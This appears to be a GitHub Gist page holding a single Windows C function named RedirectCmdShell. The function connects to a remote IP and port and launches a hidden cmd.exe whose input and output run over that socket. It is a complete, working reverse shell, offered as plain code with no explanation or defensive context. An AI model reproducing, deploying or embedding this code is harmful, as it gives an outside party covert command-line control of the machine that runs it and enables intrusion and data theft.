Last active
August 29, 2015 14:02
-
-
Save wateroot/ccd14ad29e7c5c0d197a to your computer and use it in GitHub Desktop.
RedirectCmdShell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| int RedirectCmdShell(char *szIP, char *szPort) | |
| { | |
| WSADATA wsaData = {0}; | |
| SOCKET cltSock = INVALID_SOCKET; | |
| STARTUPINFO si = {0}; | |
| PROCESS_INFORMATION pi = {0}; | |
| struct sockaddr_in sa = {0}; | |
| if (NULL == szIP || NULL == szPort) { | |
| return -1; | |
| } | |
| memset(&sa, 0, sizeof(sa)); | |
| memset(&si, 0, sizeof(si)); | |
| int nRet = WSAStartup(MAKEWORD(2, 0), &wsaData); | |
| if (0 != nRet) { | |
| Log("WSAStartup fail. errno=[%d].\n", GetLastError()); | |
| return -1; | |
| } | |
| cltSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
| if (INVALID_SOCKET == cltSock) { | |
| Log("socket fail. erron=[%d].\n", GetLastError()); | |
| WSACleanup(); | |
| return -1; | |
| } | |
| sa.sin_family = AF_INET; | |
| sa.sin_port = htons(atoi(szPort)); | |
| sa.sin_addr.s_addr = inet_addr(szIP); | |
| nRet = connect(cltSock, (struct sockaddr *)&sa, sizeof(sa)); | |
| if (SOCKET_ERROR == nRet) { | |
| Log("connect fail. erron=[%d].\n", GetLastError()); | |
| closesocket(cltSock); | |
| WSACleanup(); | |
| return -1; | |
| } | |
| si.cb = sizeof(si); | |
| si.wShowWindow = SW_HIDE; | |
| si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; | |
| si.hStdInput = si.hStdOutput = si.hStdError = (void *)cltSock; | |
| nRet = CreateProcess(NULL, "cmd.exe", NULL, NULL, | |
| TRUE, 0, NULL, NULL, &si, &pi); | |
| if (0 == nRet) { | |
| Log("CreateProcess fail. erron=[%d].\n", GetLastError()); | |
| closesocket(cltSock); | |
| WSACleanup(); | |
| return -1; | |
| } | |
| WaitForSingleObject(pi.hProcess, INFINITE); | |
| CloseHandle(pi.hProcess); | |
| CloseHandle(pi.hThread); | |
| closesocket(cltSock); | |
| WSACleanup(); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment